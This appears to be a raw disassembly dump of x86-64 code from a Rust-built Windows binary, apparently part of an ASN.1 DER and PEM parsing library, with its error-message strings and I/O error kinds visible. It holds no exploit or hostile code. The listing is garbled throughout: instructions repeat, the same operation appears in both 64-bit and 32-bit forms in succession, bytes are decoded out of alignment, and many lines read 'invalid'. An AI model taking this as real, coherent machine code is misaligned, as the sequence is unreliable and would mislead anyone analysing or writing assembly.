sbb byte [rax - 0x73], cl
lea rdx, [0x1400e0128]
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e0128]
lea edx, [0x1400e0128]
mov r8d, 0xc
add rsp, 0x78
invalid
js case.0x140028256.240
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e0134]
adc eax, 0x95317
add byte [rcx - 0x48], al
add al, 0
mov r8d, 4
mov eax, 4
add byte [rax], al
add rsp, 0x78
jmp rax
jmp rax
js 0x14004ae70
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e0138]
adc eax, 0x952fb
mov r8d, 0x11
mov eax, 0x11
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add rsp, 0x78
add esp, 0x78
js 0x14004ae90
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x952ec
push rdx
or dword [rax], eax
lea rdx, [0x1400e0149]
lea edx, [0x1400e0149]
push rdx
or dword [rax], eax
mov r8d, 4
add rsp, 0x78
js 0x14004aeb0
jmp rax
js 0x14004aeb0
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x952d0
lea rdx, [0x1400e014d]
mov r8d, 0xa
mov eax, 0xa
add rsp, 0x78
jmp rax
js 0x14004aed0
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
invalid
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e0157]
lea edx, [0x1400e0157]
adc eax, 0x952ba
or dword [rax], eax
mov r8d, 0xa
or al, byte [rax]
add byte [rax], al
add rsp, 0x78
js 0x14004aef0
jmp rax
jmp rax
loopne 0x14004aef3
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e0161]
lea rdx, [0x1400e0161]
or dword [rax], eax
mov r8d, 8
add byte [rax], al
add rsp, 0x78
jmp rax
invalid
js 0x14004af10
jmp rax
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x9528c
or dword [rax], eax
lea rdx, [0x1400e0169]
lea edx, [0x1400e0169]
or dword [rax], eax
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x78
jmp rax
invalid
js case.0x14002739f.274
jmp rax
loopne case.0x140046b1e.86
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e016c]
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e016c]
lea edx, [0x1400e016c]
mov r8d, 0xd
add rsp, 0x78
jmp rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x9525c
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x9525c
pop rsp
push rdx
or dword [rax], eax
mov r8d, 0xf
mov eax, 0xf
add rsp, 0x78
add esp, 0x78
js 0x14004af70
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e0188]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e0188]
push r10
or dword [rax], eax
add byte [rcx - 0x48], al
mov r8d, 0xd
or eax, 0x48000000
add esp, 0x78
add rsp, 0x78
jmp rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x95238
cmp byte [rdx + 9], dl
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x95238
cmp byte [rdx + 9], dl
invalid
mov r8d, 0xe
add rsp, 0x78
add esp, 0x78
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add esp, 0x78
invalid
jmp rax
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e01a3]
lea edx, [0x1400e01a3]
adc eax, 0x95226
mov r8d, 9
mov eax, 9
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x78
jmp rax
loopne 0x14004afd3
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x9520f
rsqrtps xmm1, xmmword [rcx]
invalid
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e01ac]
rsqrtps xmm1, xmmword [rcx]
add byte [rcx - 0x48], al
invalid
mov r8d, 7
add rsp, 0x78
invalid
js 0x14004aff0
jmp rax
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x951f6
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x951f6
mov r8d, 0xf
add rsp, 0x78
add esp, 0x78
add esp, 0x78
js 0x14004b010
jmp rax
jmp rax
loopne 0x14004b013
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e01c2]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e01c2]
mov r8d, 0xd
add rsp, 0x78
or eax, 0x48000000
add esp, 0x78
jmp rax
movzx ecx, byte [rax + 2]
movzx eax, byte [rax + 1]
mov byte [rsp + 0x27], al
and al, 0x27
and al, 0x27
invalid
shl rcx, 4
lea rax, str.primitiveconstructed
invalid
push rdx
or dword [rax], eax
add al, 0x48
lea eax, [0x1400e0230]
invalid
push rdx
or dword [rax], eax
invalid
add rax, rcx
lea rcx, [rsp + 0x27]
lea ecx, [rsp + 0x27]
lea ecx, [rsp + 0x27]
and al, 0x27
mov qword [rsp + 0x28], rcx
and al, 0x28
sub byte [rax - 0x73], cl
lea rcx, [0x14004b130]
or eax, 0x11b
add byte [rax], al
mov qword [rsp + 0x30], rcx
and al, 0x30
mov qword [rsp + 0x38], rax
lea rax, [0x140051570]
mov qword [rsp + 0x40], rax
lea rax, [0x1400e01e8]
push rcx
or dword [rax], eax
jmp 0x14004b0c9
movzx ecx, byte [rax + 2]
movzx eax, byte [rax + 1]
mov byte [rsp + 0x27], al
shl rcx, 4
lea rax, str.primitiveconstructed
loop case.0x140032218.173
or dword [rax], eax
loop case.0x140032218.173
or dword [rax], eax
add rax, rcx
lea rcx, [rsp + 0x27]
mov qword [rsp + 0x28], rcx
lea rcx, [0x14004b130]
lea ecx, [0x14004b130]
lea ecx, [0x14004b130]
add byte [rax - 0x77], cl
and al, 0x30
invalid
mov qword [rsp + 0x30], rcx
xor byte [rax - 0x77], cl
and al, 0x38
and al, 0x38
mov qword [rsp + 0x38], rax
and al, 0x38
lea rax, [0x140051570]
mov qword [rsp + 0x40], rax
lea rax, str.CONTEXT_SPECIFIC__
push rcx
or dword [rax], eax
push rcx
or dword [rax], eax
jmp 0x14004b0c9
movzx rcx, byte [rax + 2]
movzx ecx, byte [rax + 2]
mov dh, 0x48
add cl, byte [rdi]
movzx eax, byte [rax + 1]
mov byte [rsp + 0x27], al
invalid
shl rcx, 4
invalid
movzx eax, byte [rax + 1]
mov byte [rsp + 0x27], al
invalid
shl rcx, 4
invalid
invalid
add al, 0x48
lea eax, [0x1400e0230]
lea rax, str.primitiveconstructed
add rax, rcx
lea rcx, [rsp + 0x27]
lea ecx, [rsp + 0x27]
enter 0xffffffffffff8d48, 0x4c
lea ecx, [rsp + 0x27]
and al, 0x27
and al, 0x27
mov qword [rsp + 0x28], rcx
and al, 0x28
sub byte [rax - 0x73], cl
or eax, 0x84
test byte [rax], al
add byte [rax], al
lea rcx, [0x14004b130]
lea ecx, [0x14004b130]
test byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rcx
and al, 0x30
xor byte [rax - 0x77], cl
and al, 0x38
and al, 0x38
mov qword [rsp + 0x38], rax
and al, 0x38
lea rax, [0x140051570]
add eax, 0x64b3
mov bl, 0x64
add byte [rax], al
invalid
add byte fs:[rax], al
add byte [rax - 0x77], cl
and al, 0x40
invalid
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
lea rax, str.PRIVATE__
lea rax, str.PRIVATE__
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 3
mov dword [rsp + 0x50], 3
push rax
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x68
and al, 0x68
mov qword [rsp + 0x68], 0
and al, 0x68
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
and al, 0x28
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
and al, 0x60
add al, byte [rax]
add byte [rax], al
invalid
and al, 0x60
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
push rdx
invalid
and byte [rax - 0x75], cl
mov edx, dword [rdx + 0x28]
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
lea r8, [rsp + 0x48]
and al, 0x48
call fcn.140042240
nop
add rsp, 0x78
add esp, 0x78
jno 0x14004b103
invalid
call qword [rax + 0x78c48348]
add esp, 0x78
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x950b1
mov cl, 0x50
or dword [rax], eax
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x950b1
mov cl, 0x50
or dword [rax], eax
mov cl, 0x50
or dword [rax], eax
mov r8d, 9
mov eax, 9
add byte [rax], al
add rsp, 0x78
add esp, 0x78
jmp rax
loopne 0x14004b0f8
int3
int3
int3
sub esp, 0x68
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
in al, dx
push 0x244c8948
mov dword [rsp + 0x28], ecx
lea rax, [0x140043b20]
mov dword [rsp + 0x28], ecx
lea rax, [0x140043b20]
lea eax, [0x140043b20]
invalid
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
and al, 0x30
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea eax, [0x1400ecf60]
or al, byte [rax]
mov qword [rsp + 0x38], rax
and al, 0x38
mov qword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x58], 0
pop rax
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
and al, 0x28
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
and al, 0x48
mov qword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
call fcn.140042240
mov eax, 0x90ffff70
cmp al, ch
mov eax, 0x90ffff70
add rsp, 0x68
ret
int3
mov rax, qword [rcx]
add dword [rdi], ecx
mov dh, 0
movzx eax, byte [rax]
lea rcx, [0x1400ee810]
or al, byte ss:[rax]
add byte [rbx + rcx*4 + 4], cl
ror dword [rax - 0x73], 0xd
lea ecx, [0x1400ee958]
mov r8, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
add al, 0xc1
lea rcx, str.NotFoundPermissionDeniedConnectionRefusedConnectionResetHostUnreachableNetworkUnreachableConnectionAbortedNotConnectedAddrInUseAddrNotAvailableNetworkDownBrokenPipeAlreadyExistsWouldBlockNotADirectoryIsADirectoryDirectoryNotEmptyReadOnlyFilesystemFilesystemLoopStaleNetworkFileHandleInvalidInputInvalidDataTimedOutWriteZeroStorageFullNotSeekableFilesystemQuotaExceededFileTooLargeResourceBusyExecutableFileBusyDeadlockCrossesDevicesTooManyLinksInvalidFilenameArgumentListTooLongInterruptedUnsupportedUnexpectedEofOutOfMemoryOtherUncategorizedapi_ms_win_core_synch_l1_2_0
lea ecx, [0x1400ee958]
or eax, 0xa37b0
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
mov edx, eax
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
invalid
mov edx, eax
ret 0xff49
jmp r9
int3
push rbx
sub rsp, 0xa0
add byte [rax - 0x77], cl
invalid
movzx eax, byte [rcx]
mov dh, 1
add byte [rax - 0x77], cl
invalid
mov dh, 1
lea rcx, [0x1400ef974]
or eax, 0xa479d
movsxd rax, dword [rcx + rax*4]
add al, 0x81
or dword [rax + 1], 0x48e0ffc8
lea eax, [0x1400dfca0]
add eax, 0x94ab9
add rax, rcx
jmp rax
lea rax, str.date_time_error
add eax, 0x94ab9
or qword [rax], rax
jmp 0x14004b39a
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, str.operation_failed
lea eax, [0x1400dfcc0]
add eax, 0x94acd
add cl, ch
jmp 0x14004b39a
movabs byte [0x4ae1058d48000001], al
lea rax, str.file_not_found
add eax, 0x94ae1
or dword [rax], eax
add cl, ch
xchg esi, eax
add dword [rax], eax
add byte [rax], al
lea rax, [rsi + 4]
invalid
jmp 0x14004b39a
add byte [rax], al
lea rax, [rsi + 4]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x68], eax
and al, 0x68
add rsi, 8
add esi, 8
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x58], esi
lea rax, [rsp + 0x68]
and al, 0x68
and al, 0x68
push 0x24448948
jo 0x14004b269
mov qword [rsp + 0x70], rax
and al, 0x70
lea rax, [0x14004b690]
lea eax, [0x14004b690]
add eax, 0x469
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
and al, 0x78
and al, 0x78
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x80], rcx
mov dword [rsp + 0x80], ecx
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x88], eax
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rax, str.ASN.1_DER_message_is_incomplete:_expected___actual
lea eax, [0x1400dfd28]
add eax, 0x94ae0
or dword [rax], eax
mov qword [rsp + 0x20], rax
and al, 0x20
mov qword [rsp + 0x28], 2
jmp case.0x14002f576.202
add al, byte [eax]
invalid
add al, byte [eax]
add byte [rax - 1], cl
invalid
inc rsi
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x58], esi
and al, 0x58
pop rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
and al, 0x70
mov dword [rsp + 0x70], eax
and al, 0x70
lea rax, case.0x140051052.24
mov qword [rsp + 0x78], rax
lea rax, str.I_O_error:
lea eax, [0x1400dfd58]
invalid
lea eax, [0x1400dfd58]
or dword [rax], eax
jmp 0x14004b5f2
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rax, str.indefinite_length_disallowed
lea rax, str.indefinite_length_disallowed
or dword [rax], eax
jmp 0x14004b39a
inc rsi
mov qword [rsp + 0x58], rsi
and al, 0x58
and al, 0x58
lea rax, [rsp + 0x58]
lea eax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
lea rax, [0x14004ad70]
mov qword [rsp + 0x78], rax
lea rax, str.incorrect_length_for
jmp 0x14004b5f2
inc rsi
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
and al, 0x70
and al, 0x70
lea rax, [0x14004ad70]
mov qword [rsp + 0x78], rax
and al, 0x78
and al, 0x78
lea rax, str.ASN.1__not_canonically_encoded_as_DER
mov qword [rsp + 0x20], rax
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x28], 2
and al, 0x28
add al, byte [rax]
add byte [rax], al
jmp 0x14004b600
add byte [rax], al
lea rax, str.malformed_OID
jmp 0x14004b39a
inc rsi
mov qword [rsp + 0x58], rsi
and al, 0x58
and al, 0x58
lea rax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
jo 0x14004b35a
lea eax, [0x14004b7b0]
jo 0x14004b35a
lea eax, [0x14004b7b0]
mov qword [rsp + 0x78], rax
lea rax, str.unknown_unsupported_OID:
and al, 0x4b
or dword [rax], eax
js 0x14004b366
lea eax, [0x1400dfe48]
and al, 0x4b
or dword [rax], eax
jmp 0x14004b5f2
leave
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, str.SET_OF_contains_duplicate
lea rax, str.SET_OF_contains_duplicate
or dword [rax], eax
jmp 0x14004b39a
lea rax, str.SET_OF_ordering_error
or dword [rax], eax
jmp 0x14004b39a
lea rax, str.integer_overflow
jmp 0x14004b39a
add bl, ch
push rsi
lea rax, str.ASN.1_DER_message_is_too_long
jmp 0x14004b39a
add rsi, 8
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x58]
pop rax
mov qword [rsp + 0x70], rax
and al, 0x70
lea rax, [0x14004b7d0]
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x78
mov qword [rsp + 0x78], rax
lea rax, str.PEM_error:
jmp 0x14004b5f2
add byte [rax], al
add byte [rax], al
lea rax, [0x1400dff20]
jmp 0x14004b39a
add bl, ch
sbb dword [rax - 0x73], ecx
invalid
invalid
lea rax, str.reader_does_not_support_the_requested_operation
add eax, 0x94bd8
jmp 0x14004b39a
lea rax, str.unknown_tag_modep
jmp 0x14004b39a
lea rax, str.invalid_tag_number
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
and byte [rax - 0x39], cl
and al, 0x28
add dword [rax], eax
add byte [rax], al
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rax
add byte [rax - 0x77], cl
and al, 0x30
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
jmp 0x14004b61c
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 1], cl
inc rsi
inc rsi
mov qword [rsp + 0x68], rsi
je 0x14004b3ec
push 0x24448d48
invalid
je 0x14004b3ec
push 0x24448d48
push 0x24448948
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x58], rax
lea rax, [0x14004b990]
mov dh, 5
add byte [rax], al
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x20], 2
mov qword [rsp + 0x30], 0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x38
add al, byte [rax]
add byte [rax], al
invalid
xor byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x38
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x40], 0
add byte [rax], al
add byte [rax], al
movabs rax, 0x800000020
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x48], eax
mov byte [rsp + 0x50], 3
lea rax, str.unknown_unsupported_ASN.1_DER_tag:_0x
and al, 0x50
add ecx, dword [rax - 0x73]
add eax, 0x94c3a
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rax, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x58
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x58
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
add byte [rax], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x70]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x70]
jmp 0x14004b629
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [rsi + 4]
mov qword [rsp + 0x68], rax
add byte [rax], al
lea rax, [rsi + 4]
mov qword [rsp + 0x68], rax
add rsi, 8
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x58], esi
lea rax, [rsp + 0x68]
mov qword [rsp + 0x70], rax
lea rax, [0x14004b690]
add eax, 0x1fd
add eax, 0x1fd
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x80], rcx
mov dword [rsp + 0x80], ecx
mov dword [rsp + 0x80], ecx
mov qword [rsp + 0x88], rax
lea rax, str.trailing_data_at_end_of_DER_message:_decoded__bytes___bytes_remaining
lea eax, [0x1400e00b0]
lea eax, [0x1400e00b0]
or dword [rax], eax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 3
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x70]
and al, 0x70
and al, 0x70
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
jmp 0x14004b61c
add rsi, 8
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x58]
and al, 0x58
and al, 0x58
mov qword [rsp + 0x70], rax
lea rax, [0x14004ba40]
add eax, 0x89480000
and al, 0x78
add eax, 0x89480000
and al, 0x78
mov dword [rsp + 0x78], eax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
jmp 0x14004b5f2
lea rax, [rsi + 4]
mov qword [rsp + 0x68], rax
lea rax, str.unexpected_ASN.1_DER_tag:
mov edx, 0x4800094a
mov dword [rsp + 0x20], eax
mov edx, 0x4800094a
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
ror byte [rdi], 0x11
and al, 0x38
mov rdi, qword [rdx + 0x20]
mov rbx, qword [rdx + 0x28]
lea r8, [rsp + 0x20]
mov rcx, rdi
mov rdx, rbx
call fcn.140042240
invalid
invalid
test al, al
invalid
jne 0x14004b5c9
cmp byte [rsi + 1], 0x17
je case.0x140068b4c.108
inc rsi
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x58]
and al, 0x58
and al, 0x58
mov qword [rsp + 0x70], rax
and al, 0x70
lea rax, [0x14004ad70]
add eax, 0xfffff7f1
mov qword [rsp + 0x78], rax
lea rax, str.expected
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 2
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x40], 0
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x40], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea r8, [rsp + 0x20]
lea eax, [rsp + 0x20]
lea eax, [rsp + 0x20]
mov rcx, rdi
mov rdx, rbx
call fcn.140042240
test al, al
je case.0x140068b4c.108
mov al, 1
jmp 0x14004b62e
inc rsi
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x58]
lea eax, [rsp + 0x58]
lea eax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
lea rax, [0x14004ad70]
mov qword [rsp + 0x78], rax
lea rax, str.malformed_ASN.1_DER_value_for
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
and al, 0x28
add dword [rax], eax
add byte [rax], al
and byte [rax - 0x39], cl
and al, 0x28
and al, 0x28
and al, 0x28
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
and al, 0x38
add dword [rax], eax
add byte [rax], al
and al, 0x38
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x20]
call fcn.140042240
adc ch, byte [rdi + rdi*8 - 1]
nop
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
ret
lea rax, [rsp + 0x68]
mov qword [rsp + 0x70], rax
lea rax, [0x14004ad70]
mov qword [rsp + 0x78], rax
lea rax, str.got
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
jo 0x14004b6bc
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], 1
lea r8, [rsp + 0x20]
lea eax, [rsp + 0x20]
lea eax, [rsp + 0x20]
mov rcx, rdi
mov rdx, rbx
jmp 0x14004b629
sub rsp, 0x58
mov r9, rdx
mov rax, qword [rcx]
mov ecx, dword [rax]
mov eax, 0x27
add byte [rbp + rcx*4 + 5], cl
div byte [rcx - 0x7eb7fff7]
stc
adc byte [rdi], ah
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
div byte [rcx - 0x7eb7fff7]
stc
adc byte [rdi], ah
add byte [rax], al
jb 0x14004b760
invalid
mov r11d, 0x27
movabs r10, 0x346dc5d63886594b
cmp dh, dl
invalid
insd dword [rdi], dx
xor al, 0x66
nop dword [rax + rax]
add byte [rcx - 0x46], cl
pop r9
xchg byte [rax], bh
cmp dh, dl
cmp dh, dl
invalid
mov rax, rcx
mul r10
enter 0xfffffffffffff749, 0xffffffffffffffe2
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rsp + r11 + 0x2d], di
sbb al, 0x2d
sbb al, 0x2d
movzx esi, word [r8 + rsi*2]
mov word [rsp + r11 + 0x2f], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x14004b6d0
cmp rdx, 0x63
jbe 0x14004b74e
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
add byte [rax], al
add byte [rax], al
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
adc dword [rbx + rbp*2 - 0x2f], eax
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
jae 0x14004b76b
add dl, 0x30
mov byte [rsp + rax + 0x30], dl
dec rax
jmp 0x14004b779
mov rdx, rcx
cmp rdx, 0x63
invalid
ja 0x14004b724
retf 0x8348
invalid
jmp 0x14004b74e
movzx ecx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], cx
add al, 0x2f
add al, 0x2f
add rax, 0xfffffffffffffffe
lea rcx, [rsp + rax]
add rcx, 0x31
mov edx, 0x27
sub rdx, rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rcx
